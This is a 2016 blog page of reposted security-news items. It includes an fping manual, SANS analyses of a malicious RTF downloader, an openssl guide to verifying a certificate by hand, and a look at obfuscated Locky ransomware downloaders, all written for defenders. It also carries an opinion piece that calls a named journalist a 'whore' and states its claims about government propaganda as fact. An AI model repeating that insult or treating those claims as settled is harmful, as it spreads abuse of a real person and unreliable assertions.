Friday, July 29, 2016

Feedly:Darknet – The Darkside. fping 3 – Multi Target ICMP Ping Tool



from Darknet – The Darkside


−a Show systems that are alive.

−A Display targets by address rather than DNS name.

−b n Number of bytes of ping data to send. The minimum size (normally 12) allows room for the data that fping needs to do its work (sequence number, timestamp). The reported received data size includes the IP header (normally 20 bytes) and ICMP header (8 bytes), so the minimum total size is 40 bytes. Default is 56, as in ping. Maximum is the theoretical maximum IP datagram size (64K), though most systems limit this to a smaller, system-dependent number.

−B n In the default mode, fping sends several requests to a target before giving up, waiting longer for a reply on each successive request. This parameter is the value by which the wait time is multiplied on each successive request; it must be entered as a floating-point number (x.y). The default is 1.5.

−c n Number of request packets to send to each target. In this mode, a line is displayed for each received response (this can suppressed with −q or −Q). Also, statistics about responses for each target are displayed when all requests have been sent (or when interrupted).

−C n Similar to −c, but the per-target statistics are displayed in a format designed for automated response-time statistics gathering.

shows the response time in milliseconds for each of the five requests, with the "−" indicating that no response was received to the fourth request.

−d Use DNS to lookup address of return ping packet. This allows you to give fping a list of IP addresses as input and print hostnames in the output.

−D Add Unix timestamps in front of output lines generated with in looping or counting modes (−l, −c, or −C).

−e Show elapsed (round-trip) time of packets.

−f Read list of targets from a file. This option can only be used by the root user.

-g Generate a target list from a supplied IP netmask, or a starting and ending IP. Specify the netmask or start/end in the targets portion of the command line.

−h Print usage message.

−i n The minimum amount of time (in milliseconds) between sending a ping packet to any target (default is 25).

−l Loop sending packets to each target indefinitely. Can be interrupted with Ctrl-C; statistics about responses for each target are then displayed.

−m Send pings to each of a target host’s multiple interfaces.

−n Same as −d.

−p <n> In looping or counting modes (−l, −c, or −C), this parameter sets the time in milliseconds that fping waits between successive packets to an individual target. Default is 1000.

−q Quiet. Don’t show per-probe results, but only the final summary. Also don’t show ICMP error messages.

−Q n Like −q, but show summary results every n seconds.

−r n Retry limit (default 3). This is the number of times an attempt at pinging a target will be made, not including the first try.

−s Print cumulative statistics upon exit.

−S addr Set source address.

−I if Set the interface (requires SO_BINDTODEVICE support)

−t n Initial target timeout in milliseconds (default 500). In the default mode, this is the amount of time that fping waits for a response to its first request. Successive timeouts are multiplied by the backoff factor.

−T n Ignored (for compatibility with fping 2.4).

−u Show targets that are unreachable.

−O n Set the typ of service flag ( TOS ). n can be either decimal or hexadecimal (0xh) format.

−v Print fping version information.

−H n Set the IP TTL field (time to live hops).

Feedly:We Live Security. Get rid of these undesirable ‘friends’ on Facebook



from We Live Security

In celebration of the International Day of Friendship, we want to help you spot undesirable 'friends' on Facebook.

The post Get rid of these undesirable ‘friends’ on Facebook appeared first on We Live Security.

Feedly:SANS Internet Storm Center, InfoCON: green. Malicious RTF Files, (Fri, Jul 29th)



from SANS Internet Storm Center, InfoCON: green

About a year ago I received RTF samples that I could not analyze with RTFScan or rtfobj (FYI: Philippe Lagadec has improved rtfobj.py significantly since then). So I started to write my own RTF analysis tool (rtfdump), but I was not satisfied enough with the way I presented the analysis result to warrant a release of my tool. Last week, I started analyzing new samples and updating my tool. I released it, and show how I analyze sample 07884483f95ae891845caf0d50ce507f in this diary entry.


This sample is an heavily obfuscated RTF file. RTF files are essentially sets of nested strings that start with { and end with }. Like this (strongly simplified):

{\rtf {data {more data}}}.

Malicious RTF files contain a payload. Objects in RTF files are embedded in hexadecimal, like this (strongly simplified):
{\rtf {data
{\*\objdata
01050000
02000000
08000000
46696C656E616D6500000000000000...
}}}

Malicious RTF files obfuscate the hexadecimal data in many ways, one of them is to put extra control strings inside the hexadecimal data, like this:
{\rtf {data
{\*\objdata
01050000
02000000
08000000
46696C656E61{\obj}6D6500000000000000...
}}}

The sample I analyzed takes this to the extreme. After each hexadecimal digit, extra control strings and whitespace are inserted:


(I removed a lot of whitespace to be able to put several hexadecimal digits on the screen).
The hexadecimal digits (highlighted in red) are 01050…

My tool outputs a line of analysis data for each nested string. In this sample, because of the obfuscation, there are a lot of them (22956, which is gigantic for an RTF file).

But you can reduce the output by filtering for entries that (potentially) contain an embedded object using option -f O:

Entry 165 is the one we will take a closer look at first. The information presented for entry 165 is the following: the nesting level is 4, it has 1 child (c=), starts at position 2ae5 in the file (p=), is 1194952 bytes long (l=), has 11429 hexadecimal digits (h=), has no \bin entries (b=), contains an embedded object (O), has 1 unknown character (u=) and is named \*\objdata133765.

We can select entry 165 for closer analysis:

I highlighted the hexademical digits in red.

To decode the hexadecimal data, we use option -H:

You can see the hex data clearly now: 01 05 00 ...

Since this is an embedded object, we use option -i to get more info on the object:

From the magic header, we see that the embedded object is an OLE file (FYI: if we analyze it with oledump, we get parsing errors).

Looking further into the stream (-H), we see stream entries in the output:

And a bit further, we even find a URL:

Taking a closer look, I don't only see a URL, but hex data that looks like shellcode.

We can select this shellcode by cutting if out of the stream (option -c):

And of course also dump it to a file (option -d), so that we scan analyze it with the shellcode analyzer from libemu:

So this RTF file is a downloader.

The presence of shellcode in an RTF file is often an indication of an exploit. rtfdump supports YARA (like many of my *dump tools):

The first YARA search doesn't find anything. But the second search with option -H (to decode the hexadecimal content to binary) has hits for my RTF_ListView2_CLSID YARA rule. This indicates that entry 165 contains a byte sequence for the ListView2 classid, so this is very likely an exploit for vulnerability CVE-2012-0148 in this ListView.

The set of samples I looked at last week are characterized by the following properties:

they start with {\rtfMETAX

they end with this:

If you have interesting tools or techniques to analyze RTF files, please post a comment.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Feedly:Security News - Software vulnerabilities, data leaks, malware, viruses. WikiLeaks, NSA leaker Edward Snowden clash on Twitter



from Security News - Software vulnerabilities, data leaks, malware, viruses

National Security Agency leaker Edward Snowden and transparency website WikiLeaks are clashing over how best to handle the publication of sensitive data, a spat played out over Twitter.

Feedly:We Live Security. The 10 Security Commandments for every SysAdmin



from We Live Security

Celebrating the 17th annual SysAdmin Day, we recognize their dedication and workplace contributions and want to show appreciation for their talent.

The post The 10 Security Commandments for every SysAdmin appeared first on We Live Security.

Feedly:We Live Security. Security professionals ‘extremely concerned’ by cybercrime threat



from We Live Security

Security professionals are more concerned than ever by the threat of cybercrime, according to new poll.

The post Security professionals ‘extremely concerned’ by cybercrime threat appeared first on We Live Security.

Feedly:Understanding Java Code and Malware | Malwarebytes Unpacked. The IPExpo / Infosec Europe / Blogger Awards roundup



from Understanding Java Code and Malware | Malwarebytes Unpacked

For the last few months, Malwarebytes has been representing at some of the biggest security events in England, along with a couple of additional happenings thrown in for good measure.

In May, we paid a visit to Manchester for IP Expo. Held in a converted railway station, security talks galore sat alongside the usual assortment of booths and giveaways.

I took part in a Keynote debate which was pretty much an open-mic session with the audience – no set topic or gameplan, just “Ask us things and see what happens”. As it turns out, we had a great time with occasional sparks flying. Fellow panelists included Paul Ducklin from Sophos and Lee Barney from M&S.

A fun time was had by all, even if I did consider just moving out of the way so Paul and Lee could crank up the no holds barred approach. Topics included liability for data breaches, regulatory issues, home security and potential drawbacks to various Government practices involving data and biometrics. You can watch the full thing below:

A week later, the Malwarebytes convoy rolled into the Chelsea FC stadium and combined a tour of the ground (which I missed – whoops) with a number of talks about popular threats doing the rounds at the moment. For my part, I highlighted some of the dangers related to Malvertising and the increasing headache of CFO fraud. Also, the football ground is a nightmare to reach and I’m here if you need to talk to me about “Why is this train going the wrong way” woes.

 

A brief pause until June, and the juggernaut that is Infosec Europe. The aforementioned event is one of the biggest security trade shows of the year, taking place alongside the ever awesome BSides London. The Malwarebytes team spent 3 days on the booth, dispensing security related information, daily talks, and a whole pile of t-shirts. Last but not least, we also had an awesome robot to hand for all your photography related needs:

I gave a talk on all three days on some of the biggest threats currently causing headaches for businesses and people at home (and indeed, people who run a business FROM home. You don’t get off the hook from scammers that easily!)

One of the days was streamed on Periscope and recorded, and if you’re interested please feel free to take a look. All the usual caveats – incredibly noisy space, people talking, recorded on someone’s phone, I’m yelling over the sound of someone smashing up servers with a sledgehammer – no, really – apply. A Kurosawa movie, this isn’t:

http://ift.tt/2aBfoBQ

The topics included Malvertising, Ransomware (on desktop and mobile), and CFO fraud / CEO fraud / BEC scams / Business Email Compromise / whatever random name it’s being called this week. I tend to stick with CFO fraud because out of all the alternatives, it’s the only one I can consistently remember without grasping at thin air for word cues.

Also, this happened:

Sadly, The Queen doesn’t generally walk around security conferences shaking hands with people but as fake Queens go, that’s a pretty good one.

On day two, I spoke to Dan Raywood about the perils of Ransomware and some of the new directions this persistent piece of Malware may end up moving in. Bonus points to the still image Youtube is using for the clip, as it makes me look like a thoroughly entertaining chap doing an “And another thing…” routine.

Once a second day of working the booth was over, some of the Blog Team made our way to the 2016 Infosec Blogger Awards which took place at – you’ve guessed it – Infosec Europe 2016. There was some tough competition present across all categories, from Sophos and Bitdefender to Troy Hunt and Heimdal Security. We’ve been fortunate enough to win some awards previously [1], [2], so the pressure was indeed on.

The Awards themselves celebrate the hard work done by researchers, bloggers, podcasters and videomakers over the last 12 months – and there were certainly a lot of candidates to choose from. Would Graham Cluley nab the best video award? Could a newcomer win the best personal blog? How about Brian Honan adding to his Hall of Fame induction with a best EU Tweeter award?

Well, wonder no more. I’m pleased to announce that as a result of your votes, Malwarebytes Labs won Best Corporate Blog 2016!

2016 best corporate blog: Malwarebytes

Photo © Infosecurity Europe 2016

Here is the full list of results:

Best Corporate blog – Malwarebytes Labs Blog

The Best European Corporate Security Blog – Sophos Naked Security

Best European Security Podcast – Securing Business

Best Security Podcast – Risky Business

Best Security Video Blog – Graham Cluley

Best Personal Security Blog – Jack Daniel’s Uncommon Sense Security

Best European Personal Security Blog – Security Affairs

Most Entertaining Blog – Troy Hunt

Most Educational Blog – Heimdal Security

Best New Security Blog – Info Sec Guy Blog

Best EU Security Tweeter – Mikko Hypponen

Grand Prix Prize for Overall Best European Security Blog – Bitdefender Hot for Security

We do our very best to provide you with the latest breaking news regarding exploits, scams, malvertising, and more besides – and we’ll continue to do so over the next 12 months.

All in all, it’s been a busy few months for the team and I’m happy to report everything went according to plan. The next time you’ll likely hear me talking about things on a stage will be VB 2016 in Denver, Colorado alongside my good colleague Jerome Segura on the subject of Malvertising.

For now, I’ll leave you with a radio ramble about the attraction of Pokemon GO for scammers, because we can all do with a bit of creature-collecting security advice in our lives. Thanks again for your votes, and safe surfing!

Christopher Boyd

Thursday, July 28, 2016

Feedly:SANS Internet Storm Center, InfoCON: green. ISC Stormcast For Friday, July 29th 2016 http://ift.tt/2aA59hq, (Fri, Jul 29th)



from SANS Internet Storm Center, InfoCON: green

...

Feedly:Fortinet Blog | News and Threat Research - All Posts. RIoT Control – What Are the “Things” in the IoT?



from Fortinet Blog | News and Threat Research - All Posts

This is the second in a series of blogs written as a companion to my forthcoming book, RIoT Control – Understanding and Managing Risk and the Internet of Things What Are the “Things” in The Internet of Things? User-based devices that communicate, consume content, and create and publish content for other people to consume have dominated our current version of the Internet. The developing Internet of Things is about to change that. While it will include the “old” Internet of user-based devices, it is very different...

Feedly:We Live Security. ISF publishes major update to its information security guide



from We Live Security

The Information Security Forum (ISF) has published a major update to its Standard of Good Practice for Information Security.

The post ISF publishes major update to its information security guide appeared first on We Live Security.

Feedly:Understanding Java Code and Malware | Malwarebytes Unpacked. Five ways to stay safe online while playing Pokémon Go



from Understanding Java Code and Malware | Malwarebytes Unpacked

Ah, Pokémon Go. Most of us have heard about it, played it, and (probably for some) been concerned by it.

Since its release in early July, the game has been part of headlines for weeks: from how it caused a resounding buzz in North America, Australia, Europe, and Japan to how they’re blamed for accidents, local crimes, and (in a rare case) even death.

No one has expected to see a mobile gaming app become so popular so fast and affect people the way it has. Indeed, the introduction of Pokémon Go—plus the sharp rise of popularity of augmented reality—has opened a lot of opportunities for cross-industry innovation and growth. Unfortunately, it’s not all fun and games for every player and those caught in the experience of others.

What we have below are surefire ways one can play Pokémon Go safely while avoiding potential threats online:

  • Make sure that the Google or Apple account you’re using to login to Pokémon GO uses a strong password. Furthermore, make sure two-factor authentication for it is enabled. We say this a lot that it has become a general, basic tip for users with an online account. This means that this tip is not just for Pokémon Go accounts but also for any of your accounts.
  • Avoid downloading and installing unofficial versions of the app and/or other apps that claim to be a kind of “helper”. First of all, several unofficial versions of Pokémon Go in the marker are found to be malicious. According to a research by security company ESET, one of the apps they spotted is capable of locking a smartphone’s screen and runs in the background to click ads on adult sites. Other apps that claim to correspond with Pokémon Go, such as those that promise to increase Pokécoins, function more like scareware.
  • Avoid visiting sites that promise free goodies for Pokémon Go. Days after the said game drove players out of their houses for long walks, our researchers have started picking up online scams using the said game as bait. If you’re an avid reader of this blog, you’ll know that scammers normally bank on the current hot trends. Game scams usually promises hacks, cheats, and other freebies. Don’t bother with them as they’re normally survey scams.
  • Never share your credentials with anyone. Yes, that includes your closest family and family members. As we’ve seen in a previous study, kids in the EU are susceptible with this kind of behavior. However, teens and adults might be tempted to do the same, thinking that it’s harmless. What they probably don’t realize is that the credentials one uses to login to their Pokémon Go account could be used to access their other accounts like Facebook or Twitter.
  • Use prepaid or gift cards when buying in-app goodies instead of your debit or credit card. Sometimes, it can’t be avoided to purchase some digital goods that you may need to catch them all. Gift cards can be your safe alternative, if you’re uncomfortable using your bank card for such transactions. Thankfully, both Google and Apple offer these.

A word about selling Pokémon Go accounts

Several reports of Go players selling their accounts on eBay, Craigslist, and even Facebook after they’ve significantly leveled up or simply decided they can’t keep playing because of other priorities has begun appearing in the news recently.

Although this may sound like a logical step forward for gamers after having their fun, American software company Niantic Labs, creators of Pokémon Go, has made it clear in their Terms of Service that they forbid users to “sell, resell, rent, or lease the App or your Account.” Below is the copied version of that section for your reference:

Conduct, General Prohibitions, and Niantic’s Enforcement Rights

You agree that you are responsible for your own conduct and User Content while using
the Services, and for any consequences thereof. Please refer to our Trainer
Guidelines (http://ift.tt/2azQQsN) for information
about the kinds of conduct and User Content that are prohibited while using the
Services. By way of example, and not as a limitation, you agree that when using the
Services and Content, you will not:

* use the Services or Content, or any portion thereof, for any commercial purpose or
for the benefit of any third party or in a manner not permitted by these Terms,
including but not limited to (a) gathering in App items or resources for sale
outside the App, (b) performing services in the App in exchange for payment outside
the App, or (c ) sell, resell, rent, or lease the App or your Account;

Although we’re not obligated to monitor access to or use of the Services or Content
or to review or edit any Content, we have the right to do so for the purpose of
operating the Services, to ensure compliance with these Terms, and to comply with
applicable law or other legal requirements. We reserve the right, but are not
obligated, to remove or disable access to any Content, at any time and without
notice, including but not limited to, if we, at our sole discretion, consider
any Content to be objectionable or in violation of these Terms. We have the
right to investigate violations of these Terms or conduct that affects the
Services. We may also consult and cooperate with law enforcement authorities to
prosecute users who violate the law.

Happy gaming and stay safe out there!

Other related post(s):

Jovi Umawing

Feedly:Security News - Software vulnerabilities, data leaks, malware, viruses. Researchers raise more than two million dollars to rethink cybersecurity



from Security News - Software vulnerabilities, data leaks, malware, viruses

Is antivirus software already dead? That's certainly what George Candea believes, and he's not the only computer security expert who says so. "Large enterprises and government agencies often deploy antivirus software to satisfy legal obligations or to meet contractual requirements, not because they really believe that the software can defend them," says George Candea. Together with some of his former PhD students, the EPFL professor founded Cyberhaven, a startup that is developing a brand new approach to computer security. And their results are promising. In a third party test, their solution warded off all 144 cyber attacks that had been hand-crafted by professional penetration testers, whereas so-called heuristic modern security products caught just over 20 of them. As for the best classical antivirus software tested, it only caught one. "I think it just got lucky!," muses the researcher.

Feedly:Security Intelligence | TrendLab.... Law Enforcement and the Deep Web: Willing, but Underfunded



from Security Intelligence | TrendLab...

As everyone knows by now, there have been some recent attacks in Germany that have people worried about their security. One question that comes up is this: how did the attackers obtain their weapons?

In the recent Munich shooting, the attacker obtained his gun (a Glock 17 pistol) from an underground market. I was interviewed by the Handelblatt newspaper about underground markets.

It shouldn’t be a surprise that the attacker was able to buy a weapon online. Deep Web sites are not particularly difficult to find or access if the user is sufficiently determined to do so. Of course, some of the advertisements are fraudulent–but with enough patience, someone in these markets (whether it be a criminal or a terrorist) can obtain the illegal goods he wants.

The importance of going after these sites is obvious. So one may ask: why don’t the police do it? It’s not for a lack of trying, but the reality is that the police don’t have the resources to do so. People imagine that the police have unlimited resources to catch criminals–that may be true in some cases, but not cybercrime.

Many police departments don’t have the in-house expertise or resources to police the Deep Web as well as it is meant to be policed. This is despite how more and more illegal online activity goes on, making this kind of ability more important in solving crimes. The police want to police the Deep Web, but around the globe cybercrime units do not have the resources they need.

Some politicians would like to ban the Deep Web entirely, or keep it under tight surveillance. Saying so is short-term populism, and not realistic. The Deep Web is not inherently evil. It isn’t. Anonymity has its place online. Certainly, for dissidents living under dictatorial regimes, it’s very useful. There’s nothing inherently good or bad about the Deep Web – it’s a tool, like any other.

Law enforcement is aware of the importance of the Deep Web and they are working to plug this gap in their capabilities. However, the private sector is still ahead of the game. Both researchers and the police will benefit by working together in this area.

Trend Micro works with law enforcement agencies from all over the world to help monitor the Deep Web. This includes several State Offices of Criminal Investigation and the Federal Office of Criminal Investigation, some of which are investigating these recent incidents. We are committed to continue to help law enforcement agencies everywhere build up their capacity to investigate online activities just as easily as they can do offline ones. We have published multiple papers discussing the results of our research efforts into these unseen corners of the Internet

Post from: Trendlabs Security Intelligence Blog - by Trend Micro

Law Enforcement and the Deep Web: Willing, but Underfunded

Feedly:We Live Security. 5 highlights from the ‘information security Olympic Games’



from We Live Security

In the spirit of this year’s Olympics, which is being held in Rio de Janeiro, we thought we’d host our own little information security Olympic Games.

The post 5 highlights from the ‘information security Olympic Games’ appeared first on We Live Security.

Wednesday, July 27, 2016

Feedly:SANS Internet Storm Center, InfoCON: green. Verifying SSL/TLS certificates manually, (Thu, Jul 28th)



from SANS Internet Storm Center, InfoCON: green

I think that we can surely say that, with all its deficiencies, SSL/TLS is still a protocol we cannot live without, and basis of today’s secure communication on the Internet. Quite often I get asked on how certificates are really verified by browsers or other client utilities. Sure, the canned answer that “certificates get signed by CA’s and a browser verifies if signatures are correct” is always there, but more persistent questions on how it exactly works happen here and there as well.

So, if you ever wondered on how a certificate could be fully manually verified by checking all the steps, this is a diary for you! In this example we will manually verify the certificate of the site you are reading this diary on, https://isc.sans.edu. We will use the openssl utility so you can replicate all the steps for any certificate on any machine where you have openssl. Here we go.

In order to get the certificate we want to verify we can simply connect to https://isc.sans.edu with the openssl utility. For that, the s_client command will be handy and it will print out the certificate in PEM format on the screen so we just have to catch it and put it into a file:

$ openssl s_client -connect isc.sans.edu:443 < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > isc.sans.edu.pem

The isc.sans.edu.pem file now contains the certificate from isc.sans.edu. We could try to verify it with openssl directly as shown below:

$ openssl verify -verbose isc.sans.edu.pem
isc.sans.edu.pem: C = US, postalCode = 20814, ST = Maryland, L = Bethesda, street = Suite 205, street = 8120 Woodmont Ave, O = The SANS Institute, OU = Network Operations Center (NOC), OU = Unified Communications, CN = isc.sans.edu
error 20 at 0 depth lookup:unable to get local issuer certificate

Hmm, no luck. But that is because the CA file that comes with Linux by default is missing some of the intermediates. Those either have to be in the CA store, or the server has to deliver the whole chain to us when we initially connect. Ok, not a problem – let’s continue manually.
First we can see who the issuer really here is, and what are the certificate’s parameters:

$ openssl x509 -in isc.sans.edu.pem -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            24:21:68:a7:55:13:74:1a:d1:95:fb:62:26:90:c9:1d
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Organization Validation Secure Server CA
        Validity
            Not Before: Apr  7 00:00:00 2015 GMT
            Not After : Apr  6 23:59:59 2018 GMT
        Subject: C=US/postalCode=20814, ST=Maryland, L=Bethesda/street=Suite 205/street=8120 Woodmont Ave, O=The SANS Institute, OU=Network Operations Center (NOC), OU=Unified Communications, CN=isc.sans.edu

Ok, so the certificate is valid, and it is signed by Comodo, as you can see in the highlighted line. The part that matters to the browsers is actually only the CN component. In the Subject field we can see that the CN matches our site (isc.sans.edu) and in the Issuer field we can see that that signing CA (which is an intermediate CA) is called COMODO RSA Organization Validation Secure Server CA.

We can verify this information in the RFC2253 format as well, for both the subject and issuer; this will be easier to read:

$ openssl x509 -in isc.sans.edu.pem -noout -subject -issuer -nameopt RFC2253
subject= CN=isc.sans.edu,OU=Unified Communications,OU=Network Operations Center (NOC),O=The SANS Institute,street=8120 Woodmont Ave,street=Suite 205,L=Bethesda,ST=Maryland,postalCode=20814,C=US
issuer= CN=COMODO RSA Organization Validation Secure Server CA,O=COMODO CA Limited,L=Salford,ST=Greater Manchester,C=GB

So, let’s first try getting the CAcert file that is used by Mozilla. This might help us verify everything. That being said, getting the CAcert file from Mozilla is not all that trivial and some extractions/conversions should be done. Luckily, the good folks at curl already publish the cacert file in the PEM format so we can get it from their web; it’s available at http://ift.tt/1SFao8F

$ curl http://ift.tt/1OeNMyn -o cacert.pem

The file even contains name of CA’s in plain text. Let’s search for Comodo:

$ grep -i Comodo cacert.pem
Comodo AAA Services root
Comodo Secure Services root
Comodo Trusted Services root
COMODO Certification Authority
COMODO ECC Certification Authority
COMODO RSA Certification Authority

It doesn’t have the one that we need: remember that it must match precisely to the CN field! This also confirms that it is an intermediate CA. We will probably have to find the intermediate CA’s certificate on Comodo’s web site. Let’s paste the name into Google (“COMODO RSA Organization Validation Secure Server CA“) and see what we get.

The first hit will lead us to http://ift.tt/2a1mrms and sure - this is were our intermediate CA is. Let’s download it:

$ curl 'http://ift.tt/2aLZHnG' > comodo.crt

Now let’s check the issuer and subject here as well:

$ openssl x509 -in comodo.crt -subject -issuer -noout -nameopt RFC2253
subject= CN=COMODO RSA Organization Validation Secure Server CA,O=COMODO CA Limited,L=Salford,ST=Greater Manchester,C=GB
issuer= CN=COMODO RSA Certification Authority,O=COMODO CA Limited,L=Salford,ST=Greater Manchester,C=GB

Great! That’s exactly what we need – see that the Subject field (the CN component) matches exactly to the signer of our certificate. We are lucky even with the issuer:

$ grep "COMODO RSA Certification Authority" cacert.pem
COMODO RSA Certification Authority

It is a root CA, that exists in Mozilla cacert.pem – so we have the full chain!
Let’s get back to verifying our certificate from isc.sans.edu. First we need to check which signature algorithm has been used:

$ openssl x509 -in isc.sans.edu.pem -noout -text | grep Signature
    Signature Algorithm: sha256WithRSAEncryption

Ok, SHA256 with RSA (great job Johannes on renewing the cert properly :)). What does this mean? This means that the critical parts of the certificate have been hashed by the CA with the SHA256 hashing algorithm and then encrypted with CA’s private key. It’s public key is available in the comodo.crt file we just downloaded (and isc.sans.edu’s public key is in the certificate we got from the web site). Openssl can confirm that as well for us:

$ openssl x509 -in isc.sans.edu.pem -noout -text
…
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (4096 bit)
                Modulus:
                    00:d4:8f:58:63:f4:30:0b:ad:05:d0:37:f1:69:97:
                    6e:27:90:a5:dd:43:d7:c5:30:0d:dc:73:80:6a:fc:
…

What we need to do know is the following:

  • We need to extract the signature from the certificate and then use Comodo’s public key to decrypt it; with this we will get the SHA256 hash of the certificate
  • Then we need to calculate our own SHA256 hash of the certificate
  • If those two match: the certificate is signed properly

In order to extract components of a certificate we need to decode it to ASN.1 format. Luckily, openssl can do that for us, so let’s see what we get on isc.sans.edu’s certificate:

$ openssl asn1parse -in isc.sans.edu.pem
…
1582:d=1  hl=2 l=  13 cons: SEQUENCE
 1584:d=2  hl=2 l=   9 prim: OBJECT            :sha256WithRSAEncryption
 1595:d=2  hl=2 l=   0 prim: NULL
 1597:d=1  hl=4 l= 257 prim: BIT STRING

So, the last object is actually the signature – it starts at offset 1597, so let’s extract it with openssl:

$ openssl asn1parse -in isc.sans.edu.pem -out isc.sans.edu.sig -noout -strparse 1597

Now we got the file isc.sans.edu.sig, which is RSA encrypted SHA256 of the signature. How do we decrypt it? We need Comodo’s public key, which is available in its certificate, so let’s extract it:

$ openssl x509 -in comodo.crt -pubkey -noout > comodo.pub

Now that we have the Comodo’s public key, we can finally decrypt the SHA256 hash. It will work only if the original has been encrypted with the corresponding private key. We’ll get an ASN.1 structure back so let’s show it properly as well on the screen:

$ openssl rsautl -verify -pubin -inkey comodo.pub -in isc.sans.edu.sig -asn1parse
    0:d=0  hl=2 l=  49 cons: SEQUENCE
    2:d=1  hl=2 l=  13 cons:  SEQUENCE
    4:d=2  hl=2 l=   9 prim:   OBJECT            :sha256
   15:d=2  hl=2 l=   0 prim:   NULL
   17:d=1  hl=2 l=  32 prim:  OCTET STRING
      0000 - 4b ca b8 23 4d 52 da e1-31 f1 0d b0 ba 3d 33 6b   K..#MR..1....=3k
      0010 - 0e 3d 68 0f 99 cb 35 43-69 ff 70 d0 1d a6 ef c1   .=h...5Ci.p.....

Yay, it worked. So it has been encrypted properly. The highlighted part is actually the SHA256 hash.
The last step now is to extract the critical parts of the certificate and verify if both hashes match. So what are the critical parts of the certificate? The X509 standard defines it as a so called TBSCertificate (To Be Signed Certificate), and it is the first object in the certificate:

$ openssl asn1parse -in isc.sans.edu.pem 
    0:d=0  hl=4 l=1854 cons: SEQUENCE
    4:d=1  hl=4 l=1574 cons: SEQUENCE
    8:d=2  hl=2 l=   3 cons: cont [ 0 ]
   10:d=3  hl=2 l=   1 prim: INTEGER           :02
   13:d=2  hl=2 l=  16 prim: INTEGER           :242168A75513741AD195FB622690C91D
   31:d=2  hl=2 l=  13 cons: SEQUENCE
   33:d=3  hl=2 l=   9 prim: OBJECT            :sha256WithRSAEncryption

…

Ok, the first object starts at offset 4, let’s extract it the same way as before:

$ openssl asn1parse -in isc.sans.edu.pem -out tbsCertificate -strparse 4

The file tbsCertificate contains what we need to run SHA256 has over. We can again use openssl for that:

$ openssl dgst -sha256 -hex tbsCertificate
SHA256(tbsCertificate)= 4bcab8234d52dae131f10db0ba3d336b0e3d680f99cb354369ff70d01da6efc1

Remember the decrypted ASN.1 object? Scroll up – or let me paste it here one more time (this diary is already longer than I thought really):

…
   17:d=1  hl=2 l=  32 prim:  OCTET STRING
      0000 - 4b ca b8 23 4d 52 da e1-31 f1 0d b0 ba 3d 33 6b   K..#MR..1....=3k
      0010 - 0e 3d 68 0f 99 cb 35 43-69 ff 70 d0 1d a6 ef c1   .=h...5Ci.p.....

Yay! It’s a full, 100% match. So the certificate is correctly signed by Comodo’s intermediate. We could now repeat all the steps to verify if the intermediate CA is correctly signed by the root CA that we got from Mozilla’s cacert.pem, but we can also have openssl do that for us, we just need to tell it with CA file to use:

$ cat comodo.crt >> cacert.pem
$ openssl verify -verbose -CAfile cacert.pem isc.sans.edu.pem
isc.sans.edu.pem: OK

And that get’s us to the end of verification.

-- Bojan
https://twitter.com/bojanz
INFIGO IS

Feedly:SANS Internet Storm Center, InfoCON: green. ISC Stormcast For Thursday, July 28th 2016 http://ift.tt/2ao9vqx, (Thu, Jul 28th)



from SANS Internet Storm Center, InfoCON: green

...

Feedly:Errata Security. NYTimes vs. DNCleaks



from Errata Security

People keep citing

this New York Times article

by David Sanger that attributes the DNCleaks to Russia.

As I've written before

, this is

propaganda

, not journalism. It's against basic journalistic ethics to quote anonymous "federal officials" in a story like this. The Society of Professional Journalists repudiate this

[1] [2]

. The NYTime's own ombudsman has itself

criticized

David Sanger for this practce.

Quoting anonymous federal officials is great, when they

disagree

with government, when revealing government malfeasance, when it's something that people will get fired over.

But the opposite is happening here. It's either Obama himself or some faction within the administration that wants us to believe Russia is involved. They want us to believe the propaganda, then hide behind anonymity so we can't question them. This evades obvious questions, like whether all their information comes from the same public sources that already point to Russia, or whether they have their own information from the CIA or NSA that points to Russia.

Everyone knows the Washington press works this way, and that David Sanger in particular is a journalistic whore. The NetFlix series

House of Cards

portrays this accurately in its first season, only "Zoe Barnes" is "David Sanger". In exchange for exclusive access to stories, the politician gets to plant propaganda when it suits his purpose.

All this NYTimes article by Sanger tells us is that some faction within the administration wants us to believe this, not whether it's true. That's not surprising. There are lots of war hawks that would want us to believe this. There are also lots who support Hillary over Trump -- who want us to believe that electing Trump plays into Putin's hands. Of course David Sanger would write such a story quoting anonymous sources, like he does after

every

such incident. You can pretty much write the story yourself.

Thus, we should fully discount Sanger's story. If government officials are willing to come forward an be named, and be held accountable for the information, then we should place more faith in them. As long as a faithless journalists protects them with anonymity, we shouldn't believe anything they say.

Feedly:Darknet – The Darkside. In 2016 Your Wireless Keyboard Security Still SUCKS – KeySniffer

Feedly:We Live Security. Cyberattacks affect ‘nearly every single company’



from We Live Security

Around eight in every 10 cybersecurity executives admit their company has been compromised by a cyberattack in the past 24 months.

The post Cyberattacks affect ‘nearly every single company’ appeared first on We Live Security.

Feedly:Understanding Java Code and Malware | Malwarebytes Unpacked. From Locky with love – reading malicious attachments



from Understanding Java Code and Malware | Malwarebytes Unpacked

The common way of malware distribution, used i.e. by Locky ransomware are downloader scripts. They are spread in massive spam campaigns – attached to e-mails. Using simple social engineering tricks attackers try to tempt recipients into running the attached file, that leads to downloading and deploying malicious payloads.

Those scripts are most often obfuscated, using various tricks they try to hide the URL from where they get the payload.

This time we will present some of the latest downloaders used to deliver Locky ransomware and show how to statically decipher their hidden URLs.

Analyzed samples

JS

WSF

scripts

Inside

#1 SHEET0000105526932.js

The script contains lot of redundant variables and obfuscated functions. But the thing that is interesting for us – the URL of the payload to be downloaded – is obfuscated very slightly. We can spot it easily by the pattern “http://” left at the beginning:

unicode_link

No real encryption is involved. It is just a text in Unicode, that can be made readable using simple tools (ie this online Unicode Escaping tool). It turns out to be the following text:

converted

It still have some urlencoded characters. After decoding them and concatenating with remaining parts of the address, we get full URL from where we can fetch the payload for further analysis.

url1

The content turned out to be a PE file (md5=9017a6d7eea1f36145701ab99a14a9aa). It is an offline variant of Locky ransomware (can encrypt without downloading a key from C&C server), adding .zepto extensions to the attacked files.

#2: account_report dc0.wsf

After unpacking the original ZIP we can see the following obfuscated JScript:

script1

